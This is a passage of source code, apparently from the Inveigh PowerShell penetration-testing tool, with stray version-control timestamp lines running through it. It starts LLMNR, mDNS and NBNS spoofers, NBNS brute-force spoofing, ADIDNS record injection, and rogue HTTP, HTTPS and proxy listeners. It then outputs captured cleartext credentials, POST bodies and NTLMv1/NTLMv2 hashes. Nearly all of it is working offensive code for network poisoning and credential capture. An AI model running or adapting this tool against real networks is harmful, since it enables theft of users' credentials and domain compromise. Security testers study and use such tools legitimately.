$Proxy ) . AddArgument ( $ProxyIgnore ) . AddArgument ( $proxy_listener ) . AddArgument ( $WPADAuth ) . AddArgument (
2018-07-23 08:55:15 +00:00
$WPADAuthIgnore ) . AddArgument ( $WPADResponse ) > $null
$HTTP_powershell . BeginInvoke ( ) > $null
}
Start-Sleep -m 50
# HTTPS Listener Startup Function
2019-01-21 09:49:07 +00:00
function HTTPSListener
2018-07-23 08:55:15 +00:00
{
$proxy_listener = $false
$HTTPS_listener = $true
$HTTPS_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$HTTPS_runspace . Open ( )
$HTTPS_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$HTTPS_powershell = [ PowerShell ] :: Create ( )
$HTTPS_powershell . Runspace = $HTTPS_runspace
$HTTPS_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$HTTPS_powershell . AddScript ( $HTTP_scriptblock ) . AddArgument ( $Challenge ) . AddArgument ( $HTTPAuth ) . AddArgument (
$HTTPBasicRealm ) . AddArgument ( $HTTPContentType ) . AddArgument ( $HTTPIP ) . AddArgument ( $HTTPSPort ) . AddArgument (
$HTTPDefaultEXE ) . AddArgument ( $HTTPDefaultFile ) . AddArgument ( $HTTPDir ) . AddArgument (
2019-01-21 09:49:07 +00:00
$HTTPResponse ) . AddArgument ( $HTTPS_listener ) . AddArgument ( $NBNSBruteForcePause ) . AddArgument (
$Proxy ) . AddArgument ( $ProxyIgnore ) . AddArgument ( $proxy_listener ) . AddArgument ( $WPADAuth ) . AddArgument (
2018-07-23 08:55:15 +00:00
$WPADAuthIgnore ) . AddArgument ( $WPADResponse ) > $null
$HTTPS_powershell . BeginInvoke ( ) > $null
}
Start-Sleep -m 50
# Proxy Listener Startup Function
2019-01-21 09:49:07 +00:00
function ProxyListener
2018-07-23 08:55:15 +00:00
{
$proxy_listener = $true
$HTTPS_listener = $false
$proxy_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$proxy_runspace . Open ( )
$proxy_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$proxy_powershell = [ PowerShell ] :: Create ( )
$proxy_powershell . Runspace = $proxy_runspace
$proxy_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$proxy_powershell . AddScript ( $HTTP_scriptblock ) . AddArgument ( $Challenge ) . AddArgument ( $HTTPAuth ) . AddArgument (
$HTTPBasicRealm ) . AddArgument ( $HTTPContentType ) . AddArgument ( $ProxyIP ) . AddArgument ( $ProxyPort ) . AddArgument (
$HTTPDefaultEXE ) . AddArgument ( $HTTPDefaultFile ) . AddArgument ( $HTTPDir ) . AddArgument (
2019-01-21 09:49:07 +00:00
$HTTPResponse ) . AddArgument ( $HTTPS_listener ) . AddArgument ( $NBNSBruteForcePause ) . AddArgument (
$Proxy ) . AddArgument ( $ProxyIgnore ) . AddArgument ( $proxy_listener ) . AddArgument ( $WPADAuth ) . AddArgument (
2018-07-23 08:55:15 +00:00
$WPADAuthIgnore ) . AddArgument ( $WPADResponse ) > $null
$proxy_powershell . BeginInvoke ( ) > $null
}
# Sniffer/Spoofer Startup Function
2019-01-21 09:49:07 +00:00
function SnifferSpoofer
2018-07-23 08:55:15 +00:00
{
$sniffer_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$sniffer_runspace . Open ( )
$sniffer_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$sniffer_powershell = [ PowerShell ] :: Create ( )
$sniffer_powershell . Runspace = $sniffer_runspace
$sniffer_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$sniffer_powershell . AddScript ( $SMB_NTLM_functions_scriptblock ) > $null
2019-01-21 09:49:07 +00:00
$sniffer_powershell . AddScript ( $sniffer_scriptblock ) . AddArgument ( $EvadeRG ) . AddArgument ( $IP ) . AddArgument (
$LLMNR ) . AddArgument ( $LLMNR_response_message ) . AddArgument ( $LLMNRTTL ) . AddArgument ( $mDNS ) . AddArgument (
2018-07-23 08:55:15 +00:00
$mDNS_response_message ) . AddArgument ( $mDNSTypes ) . AddArgument ( $mDNSTTL ) . AddArgument (
2019-01-21 09:49:07 +00:00
$NBNS ) . AddArgument ( $NBNS_response_message ) . AddArgument ( $NBNSTTL ) . AddArgument ( $NBNSTypes ) . AddArgument (
2018-07-23 08:55:15 +00:00
$SMB ) . AddArgument ( $SpooferHostsIgnore ) . AddArgument ( $SpooferHostsReply ) . AddArgument (
$SpooferIP ) . AddArgument ( $SpooferIPsIgnore ) . AddArgument ( $SpooferIPsReply ) . AddArgument (
2019-01-21 09:49:07 +00:00
$SpooferLearning ) . AddArgument ( $SpooferLearningDelay ) . AddArgument ( $SpooferLearningInterval ) . AddArgument (
$SpooferNonprintable ) . AddArgument ( $SpooferThresholdHost ) . AddArgument ( $SpooferThresholdNetwork ) > $null
2018-07-23 08:55:15 +00:00
$sniffer_powershell . BeginInvoke ( ) > $null
}
# Unprivileged LLMNR Spoofer Startup Function
2019-01-21 09:49:07 +00:00
function LLMNRSpoofer
2018-07-23 08:55:15 +00:00
{
$LLMNR_spoofer_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$LLMNR_spoofer_runspace . Open ( )
$LLMNR_spoofer_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$LLMNR_spoofer_powershell = [ PowerShell ] :: Create ( )
$LLMNR_spoofer_powershell . Runspace = $LLMNR_spoofer_runspace
$LLMNR_spoofer_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$LLMNR_spoofer_powershell . AddScript ( $LLMNR_spoofer_scriptblock ) . AddArgument ( $Inspect ) . AddArgument (
$LLMNR_response_message ) . AddArgument ( $SpooferIP ) . AddArgument ( $SpooferHostsReply ) . AddArgument (
$SpooferHostsIgnore ) . AddArgument ( $SpooferIPsReply ) . AddArgument ( $SpooferIPsIgnore ) . AddArgument (
2019-01-21 09:49:07 +00:00
$SpooferNonprintable ) . AddArgument ( $LLMNRTTL ) > $null
2018-07-23 08:55:15 +00:00
$LLMNR_spoofer_powershell . BeginInvoke ( ) > $null
}
# Unprivileged mDNS Spoofer Startup Function
2019-01-21 09:49:07 +00:00
function mDNSSpoofer
2018-07-23 08:55:15 +00:00
{
$mDNS_spoofer_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$mDNS_spoofer_runspace . Open ( )
$mDNS_spoofer_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$mDNS_spoofer_powershell = [ PowerShell ] :: Create ( )
$mDNS_spoofer_powershell . Runspace = $mDNS_spoofer_runspace
$mDNS_spoofer_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$mDNS_spoofer_powershell . AddScript ( $mDNS_spoofer_scriptblock ) . AddArgument ( $Inspect ) . AddArgument (
$mDNS_response_message ) . AddArgument ( $mDNSTTL ) . AddArgument ( $mDNSTypes ) . AddArgument ( $SpooferIP ) . AddArgument (
$SpooferHostsReply ) . AddArgument ( $SpooferHostsIgnore ) . AddArgument ( $SpooferIPsReply ) . AddArgument (
$SpooferIPsIgnore ) > $null
$mDNS_spoofer_powershell . BeginInvoke ( ) > $null
}
# Unprivileged NBNS Spoofer Startup Function
2019-01-21 09:49:07 +00:00
function NBNSSpoofer
2018-07-23 08:55:15 +00:00
{
$NBNS_spoofer_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$NBNS_spoofer_runspace . Open ( )
$NBNS_spoofer_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$NBNS_spoofer_powershell = [ PowerShell ] :: Create ( )
$NBNS_spoofer_powershell . Runspace = $NBNS_spoofer_runspace
$NBNS_spoofer_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$NBNS_spoofer_powershell . AddScript ( $NBNS_spoofer_scriptblock ) . AddArgument ( $Inspect ) . AddArgument (
2019-01-21 09:49:07 +00:00
$IP ) . AddArgument ( $NBNS_response_message ) . AddArgument ( $NBNSTTL ) . AddArgument ( $NBNSTypes ) . AddArgument (
$SpooferIP ) . AddArgument ( $SpooferHostsIgnore ) . AddArgument ( $SpooferHostsReply ) . AddArgument (
$SpooferIPsIgnore ) . AddArgument ( $SpooferIPsReply ) . AddArgument ( $SpooferNonprintable ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_spoofer_powershell . BeginInvoke ( ) > $null
}
# NBNS Brute Force Spoofer Startup Function
2019-01-21 09:49:07 +00:00
function NBNSBruteForceSpoofer
2018-07-23 08:55:15 +00:00
{
$NBNS_bruteforce_spoofer_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$NBNS_bruteforce_spoofer_runspace . Open ( )
$NBNS_bruteforce_spoofer_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$NBNS_bruteforce_spoofer_powershell = [ PowerShell ] :: Create ( )
$NBNS_bruteforce_spoofer_powershell . Runspace = $NBNS_bruteforce_spoofer_runspace
$NBNS_bruteforce_spoofer_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
$NBNS_bruteforce_spoofer_powershell . AddScript ( $NBNS_bruteforce_spoofer_scriptblock ) . AddArgument (
2019-01-21 09:49:07 +00:00
$NBNSBruteForceHost ) . AddArgument ( $NBNSBruteForcePause ) . AddArgument ( $NBNSBruteForceTarget ) . AddArgument (
$NBNSTTL ) . AddArgument ( $SpooferIP ) > $null
2018-07-23 08:55:15 +00:00
$NBNS_bruteforce_spoofer_powershell . BeginInvoke ( ) > $null
}
# Control Loop Startup Function
2019-01-21 09:49:07 +00:00
function ControlLoop
2018-07-23 08:55:15 +00:00
{
$control_runspace = [ RunspaceFactory ] :: CreateRunspace ( )
$control_runspace . Open ( )
$control_runspace . SessionStateProxy . SetVariable ( 'inveigh' , $inveigh )
$control_powershell = [ PowerShell ] :: Create ( )
$control_powershell . Runspace = $control_runspace
$control_powershell . AddScript ( $shared_basic_functions_scriptblock ) > $null
2019-01-21 09:49:07 +00:00
$control_powershell . AddScript ( $ADIDNS_functions_scriptblock ) > $null
$control_powershell . AddScript ( $control_scriptblock ) . AddArgument ( $ADIDNSCleanup ) . AddArgument (
$ADIDNSCredential ) . AddArgument ( $ADIDNSDomain ) . AddArgument ( $ADIDNSDomainController ) . AddArgument (
$ADIDNSForest ) . AddArgument ( $ADIDNSHostsIgnore ) . AddArgument ( $ADIDNSPartition ) . AddArgument (
$ADIDNSThreshold ) . AddArgument ( $ADIDNSTTL ) . AddArgument ( $ADIDNSZone ) . AddArgument (
$ConsoleQueueLimit ) . AddArgument ( $NBNSBruteForcePause ) . AddArgument ( $RunCount ) . AddArgument (
$RunTime ) . AddArgument ( $SpooferIP ) > $null
2018-07-23 08:55:15 +00:00
$control_powershell . BeginInvoke ( ) > $null
}
2019-01-21 09:49:07 +00:00
#endregion
#region begin startup enabled services
2018-07-23 08:55:15 +00:00
# HTTP Server Start
if ( $HTTP -eq 'Y' )
{
HTTPListener
}
# HTTPS Server Start
if ( $HTTPS -eq 'Y' )
{
HTTPSListener
}
# Proxy Server Start
if ( $Proxy -eq 'Y' )
{
ProxyListener
}
# Sniffer/Spoofer Start
if ( ( $LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect ) -and $elevated_privilege )
{
SnifferSpoofer
}
elseif ( ( $LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' ) -and ! $elevated_privilege )
{
if ( $LLMNR -eq 'Y' )
{
LLMNRSpoofer
}
if ( $mDNS -eq 'Y' )
{
mDNSSpoofer
}
if ( $NBNS -eq 'Y' )
{
NBNSSpoofer
}
if ( $NBNSBruteForce -eq 'Y' )
{
NBNSBruteForceSpoofer
}
}
# NBNSBruteForce Spoofer Start
if ( $NBNSBruteForce -eq 'Y' )
{
NBNSBruteForceSpoofer
}
# Control Loop Start
2019-01-21 09:49:07 +00:00
ControlLoop
2018-07-23 08:55:15 +00:00
# Console Output Loop
try
{
if ( $inveigh . console_output )
{
if ( $ConsoleStatus )
{
$console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus
$console_status_stopwatch = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
}
: console_loop while ( ( $inveigh . running -and $inveigh . console_output ) -or ( $inveigh . console_queue . Count -gt 0 -and $inveigh . console_output ) )
{
while ( $inveigh . console_queue . Count -gt 0 )
{
switch -wildcard ( $inveigh . console_queue [ 0 ] )
{
2019-01-21 09:49:07 +00:00
{ $_ -like " ? ` [ ` ! ` ]* " -or $_ -like " ? ` [- ` ]* " }
2018-07-23 08:55:15 +00:00
{
if ( $inveigh . output_stream_only )
{
Write-Output ( $inveigh . console_queue [ 0 ] + $inveigh . newline )
}
else
{
Write-Warning ( $inveigh . console_queue [ 0 ] )
}
$inveigh . console_queue . RemoveAt ( 0 )
}
{ $_ -like " * spoofer is disabled " -or $_ -like " * local request " -or $_ -like " * host header * " -or $_ -like " * user agent received * " }
{
if ( $ConsoleOutput -eq 'Y' )
{
if ( $inveigh . output_stream_only )
{
Write-Output ( $inveigh . console_queue [ 0 ] + $inveigh . newline )
}
else
{
Write-Output ( $inveigh . console_queue [ 0 ] )
}
}
$inveigh . console_queue . RemoveAt ( 0 )
}
{ $_ -like " * response sent " -or $_ -like " * ignoring * " -or $_ -like " * HTTP*request for * " -or $_ -like " * Proxy request for * " }
{
if ( $ConsoleOutput -ne " Low " )
{
if ( $inveigh . output_stream_only )
{
Write-Output ( $inveigh . console_queue [ 0 ] + $inveigh . newline )
}
else
{
Write-Output ( $inveigh . console_queue [ 0 ] )
}
}
$inveigh . console_queue . RemoveAt ( 0 )
}
default
{
if ( $inveigh . output_stream_only )
{
Write-Output ( $inveigh . console_queue [ 0 ] + $inveigh . newline )
}
else
{
Write-Output ( $inveigh . console_queue [ 0 ] )
}
$inveigh . console_queue . RemoveAt ( 0 )
}
}
}
if ( $ConsoleStatus -and $console_status_stopwatch . Elapsed -ge $console_status_timeout )
{
if ( $inveigh . cleartext_list . Count -gt 0 )
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [*] [ $( Get-Date -format s ) ] Current unique cleartext captures: " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
$inveigh . cleartext_list . Sort ( )
2019-01-21 09:49:07 +00:00
$cleartext_list_temp = $inveigh . cleartext_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $unique_cleartext in $cleartext_list_temp )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $unique_cleartext -ne $unique_cleartext_last )
{
Write-Output ( $unique_cleartext + $inveigh . newline )
}
$unique_cleartext_last = $unique_cleartext
}
Start-Sleep -m 5
}
else
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [+] [ $( Get-Date -format s ) ] No cleartext credentials have been captured " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . POST_request_list . Count -gt 0 )
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [*] [ $( Get-Date -format s ) ] Current unique POST request captures: " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
$inveigh . POST_request_list . Sort ( )
2019-01-21 09:49:07 +00:00
$POST_request_list_temp = $inveigh . POST_request_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $unique_POST_request in $POST_request_list_temp )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $unique_POST_request -ne $unique_POST_request_last )
{
Write-Output ( $unique_POST_request + $inveigh . newline )
}
$unique_POST_request_last = $unique_POST_request
}
Start-Sleep -m 5
}
if ( $inveigh . NTLMv1_list . Count -gt 0 )
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [*] [ $( Get-Date -format s ) ] Current unique NTLMv1 challenge/response captures: " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
$inveigh . NTLMv1_list . Sort ( )
2019-01-21 09:49:07 +00:00
$NTLMv1_list_temp = $inveigh . NTLMv1_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $unique_NTLMv1 in $NTLMv1_list_temp )
2018-07-23 08:55:15 +00:00
{
$unique_NTLMv1_account = $unique_NTLMv1 . SubString ( 0 , $unique_NTLMv1 . IndexOf ( " : " , ( $unique_NTLMv1 . IndexOf ( " : " ) + 2 ) ) )
if ( $unique_NTLMv1_account -ne $unique_NTLMv1_account_last )
{
Write-Output ( $unique_NTLMv1 + $inveigh . newline )
}
$unique_NTLMv1_account_last = $unique_NTLMv1_account
}
$unique_NTLMv1_account_last = ''
Start-Sleep -m 5
2019-01-21 09:49:07 +00:00
Write-Output ( " [*] [ $( Get-Date -format s ) ] Current NTLMv1 IP addresses and usernames: " + $inveigh . newline )
$NTLMv1_username_list_temp = $inveigh . NTLMv1_username_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $NTLMv1_username in $NTLMv1_username_list_temp )
2018-07-23 08:55:15 +00:00
{
Write-Output ( $NTLMv1_username + $inveigh . newline )
}
Start-Sleep -m 5
}
else
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [+] [ $( Get-Date -format s ) ] No NTLMv1 challenge/response hashes have been captured " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
}
if ( $inveigh . NTLMv2_list . Count -gt 0 )
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [*] [ $( Get-Date -format s ) ] Current unique NTLMv2 challenge/response captures: " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
$inveigh . NTLMv2_list . Sort ( )
2019-01-21 09:49:07 +00:00
$NTLMv2_list_temp = $inveigh . NTLMv2_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $unique_NTLMv2 in $NTLMv2_list_temp )
2018-07-23 08:55:15 +00:00
{
$unique_NTLMv2_account = $unique_NTLMv2 . SubString ( 0 , $unique_NTLMv2 . IndexOf ( " : " , ( $unique_NTLMv2 . IndexOf ( " : " ) + 2 ) ) )
if ( $unique_NTLMv2_account -ne $unique_NTLMv2_account_last )
{
Write-Output ( $unique_NTLMv2 + $inveigh . newline )
}
$unique_NTLMv2_account_last = $unique_NTLMv2_account
}
$unique_NTLMv2_account_last = ''
Start-Sleep -m 5
2019-01-21 09:49:07 +00:00
Write-Output ( " [*] [ $( Get-Date -format s ) ] Current NTLMv2 IP addresses and usernames: " + $inveigh . newline )
$NTLMv2_username_list_temp = $inveigh . NTLMv2_username_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $NTLMv2_username in $NTLMv2_username_list_temp )
2018-07-23 08:55:15 +00:00
{
Write-Output ( $NTLMv2_username + $inveigh . newline )
}
}
else
{
2019-01-21 09:49:07 +00:00
Write-Output ( " [+] [ $( Get-Date -format s ) ] No NTLMv2 challenge/response hashes have been captured " + $inveigh . newline )
2018-07-23 08:55:15 +00:00
}
$console_status_stopwatch = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
}
if ( $inveigh . console_input )
{
if ( [ Console ] :: KeyAvailable )
{
$inveigh . console_output = $false
BREAK console_loop
}
}
Start-Sleep -m 5
}
}
}
finally
{
if ( $Tool -eq 2 )
{
$inveigh . running = $false
}
}
}
2019-01-21 09:49:07 +00:00
#endregion
#region begin support functions
2018-07-23 08:55:15 +00:00
function Stop-Inveigh
{
<#
. SYNOPSIS
Stop-Inveigh will stop all running Inveigh function s .
#>
2019-01-21 09:49:07 +00:00
if ( $inveigh )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . stop = $true
if ( $inveigh . running -or $inveigh . relay_running )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . console_queue . Clear ( )
Watch-Inveigh -NoConsoleMessage
Start-Sleep -S 2
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
else
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] There are no running Inveigh functions "
2018-07-23 08:55:15 +00:00
}
}
}
function Get-Inveigh
{
<#
. SYNOPSIS
Get-Inveigh will get stored Inveigh data from memory .
. PARAMETER Console
Get queued console output . This is also the default if no parameters are set .
2019-01-21 09:49:07 +00:00
. PARAMETER ADIDNS
Get added DNS host records .
. PARAMETER ADIDNSFailed
Get failed DNS host record adds .
2018-07-23 08:55:15 +00:00
. PARAMETER Learning
Get valid hosts discovered through spoofer learning .
. PARAMETER Log
Get log entries .
. PARAMETER Cleartext
Get captured cleartext credentials .
. PARAMETER CleartextUnique
Get unique captured cleartext credentials .
. PARAMETER NTLMv1
Get captured NTLMv1 challenge / response hashes .
. PARAMETER NTLMv1Unique
Get the first captured NTLMv1 challenge / response for each unique account .
. PARAMETER NTLMv1Usernames
2019-01-21 09:49:07 +00:00
Get IP addresses and usernames for captured NTLMv1 challenge / response hashes .
2018-07-23 08:55:15 +00:00
. PARAMETER NTLMv2
Get captured NTLMv1 challenge / response hashes .
. PARAMETER NTLMv2Unique
Get the first captured NTLMv2 challenge / response for each unique account .
. PARAMETER NTLMv2Usernames
Get IP addresses and usernames for captured NTLMv2 challenge / response hashes .
. PARAMETER POSTRequest
Get captured POST requests .
. PARAMETER POSTRequestUnique
Get unique captured POST request .
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
. PARAMETER Session
Get relay session list .
#>
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
[ CmdletBinding ( ) ]
param
(
[ parameter ( Mandatory = $false ) ] [ Switch ] $Cleartext ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $CleartextUnique ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Console ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $ADIDNS ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $ADIDNSFailed ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Learning ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Log ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $NTLMv1 ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $NTLMv2 ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $NTLMv1Unique ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $NTLMv2Unique ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $NTLMv1Usernames ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $NTLMv2Usernames ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $POSTRequest ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $POSTRequestUnique ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Session ,
[ parameter ( Mandatory = $false ) ] [ Switch ] $Enumerate ,
[ parameter ( ValueFromRemainingArguments = $true ) ] $invalid_parameter
)
if ( $Console -or $PSBoundParameters . Count -eq 0 )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
while ( $inveigh . console_queue . Count -gt 0 )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
if ( $inveigh . output_stream_only )
{
Write-Output ( $inveigh . console_queue [ 0 ] + $inveigh . newline )
$inveigh . console_queue . RemoveAt ( 0 )
}
else
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
switch -wildcard ( $inveigh . console_queue [ 0 ] )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
{ $_ -like " ? ` [ ` ! ` ]* " -or $_ -like " ? ` [- ` ]* " }
{
Write-Warning $inveigh . console_queue [ 0 ]
$inveigh . console_queue . RemoveAt ( 0 )
}
default
{
Write-Output $inveigh . console_queue [ 0 ]
$inveigh . console_queue . RemoveAt ( 0 )
}
2019-01-21 09:47:35 +00:00
}
2019-01-20 20:27:28 +00:00
}
2019-01-21 09:49:07 +00:00
}
}
if ( $ADIDNS )
{
$ADIDNS_table_keys_temp = $inveigh . ADIDNS_table . Keys
foreach ( $ADIDNS_host in $ADIDNS_table_keys_temp )
{
if ( $inveigh . ADIDNS_table . $ADIDNS_host -eq 1 )
{
Write-Output $ADIDNS_host
}
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $ADIDNSFailed )
{
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
$ADIDNS_table_keys_temp = $inveigh . ADIDNS_table . Keys
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $ADIDNS_host in $ADIDNS_table_keys_temp )
{
if ( $inveigh . ADIDNS_table . $ADIDNS_host -eq 0 )
{
Write-Output $ADIDNS_host
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
}
}
if ( $Log )
{
Write-Output $inveigh . log
}
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
if ( $NTLMv1 )
2019-01-20 20:27:28 +00:00
{
2019-01-21 09:49:07 +00:00
Write-Output $inveigh . NTLMv1_list
}
if ( $NTLMv1Unique )
{
$inveigh . NTLMv1_list . Sort ( )
$NTLMv1_list_temp = $inveigh . NTLMv1_list
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $unique_NTLMv1 in $NTLMv1_list_temp )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$unique_NTLMv1_account = $unique_NTLMv1 . SubString ( 0 , $unique_NTLMv1 . IndexOf ( " : " , ( $unique_NTLMv1 . IndexOf ( " : " ) + 2 ) ) )
if ( $unique_NTLMv1_account -ne $unique_NTLMv1_account_last )
{
Write-Output $unique_NTLMv1
}
$unique_NTLMv1_account_last = $unique_NTLMv1_account
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
if ( $NTLMv1Usernames )
{
Write-Output $inveigh . NTLMv2_username_list
}
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
if ( $NTLMv2 )
{
Write-Output $inveigh . NTLMv2_list
}
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
if ( $NTLMv2Unique )
{
$inveigh . NTLMv2_list . Sort ( )
$NTLMv2_list_temp = $inveigh . NTLMv2_list
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
foreach ( $unique_NTLMv2 in $NTLMv2_list_temp )
{
$unique_NTLMv2_account = $unique_NTLMv2 . SubString ( 0 , $unique_NTLMv2 . IndexOf ( " : " , ( $unique_NTLMv2 . IndexOf ( " : " ) + 2 ) ) )
if ( $unique_NTLMv2_account -ne $unique_NTLMv2_account_last )
{
Write-Output $unique_NTLMv2
}
$unique_NTLMv2_account_last = $unique_NTLMv2_account
}
}
if ( $NTLMv2Usernames )
{
Write-Output $inveigh . NTLMv2_username_list
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $Cleartext )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Write-Output $inveigh . cleartext_list
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $CleartextUnique )
{
Write-Output $inveigh . cleartext_list | Get-Unique
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $POSTRequest )
{
Write-Output $inveigh . POST_request_list
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $POSTRequestUnique )
{
Write-Output $inveigh . POST_request_list | Get-Unique
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $Learning )
{
Write-Output $inveigh . valid_host_list
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $Session )
{
$i = 0
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
while ( $i -lt $inveigh . session_socket_table . Count )
{
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . session_socket_table [ $i ] . Connected )
{
$inveigh . session [ $i ] | Where-Object { $_ . Status = " disconnected " }
}
$i + +
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
Write-Output $inveigh . session | Format-Table -AutoSize
}
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $Enumerate )
{
Write-Output $inveigh . enumerate
}
2018-07-23 08:55:15 +00:00
}
function Watch-Inveigh
{
<#
. SYNOPSIS
Watch-Inveigh will enabled real time console output . If using this function through a shell , test to ensure that it doesn ' t hang the shell .
. PARAMETER ConsoleOutput
( Medium , Low ) Medium and Low can be used to reduce output .
#>
[ CmdletBinding ( ) ]
param
(
2019-01-21 09:49:07 +00:00
[ parameter ( Mandatory = $false ) ] [ Switch ] $NoConsoleMessage ,
[ parameter ( Mandatory = $false ) ] [ ValidateSet ( " Low " , " Medium " , " Y " ) ] [ String ] $ConsoleOutput = " Y " ,
2018-07-23 08:55:15 +00:00
[ parameter ( ValueFromRemainingArguments = $true ) ] $invalid_parameter
)
if ( $inveigh . tool -ne 1 )
{
if ( $inveigh . running -or $inveigh . relay_running )
{
2019-01-21 09:49:07 +00:00
if ( ! $NoConsoleMessage )
{
Write-Output " [*] Press any key to stop console output "
}
2018-07-23 08:55:15 +00:00
$inveigh . console_output = $true
: console_loop while ( ( ( $inveigh . running -or $inveigh . relay_running ) -and $inveigh . console_output ) -or ( $inveigh . console_queue . Count -gt 0 -and $inveigh . console_output ) )
{
while ( $inveigh . console_queue . Count -gt 0 )
{
switch -wildcard ( $inveigh . console_queue [ 0 ] )
{
2019-01-21 09:49:07 +00:00
{ $_ -like " ? ` [ ` ! ` ]* " -or $_ -like " ? ` [- ` ]* " }
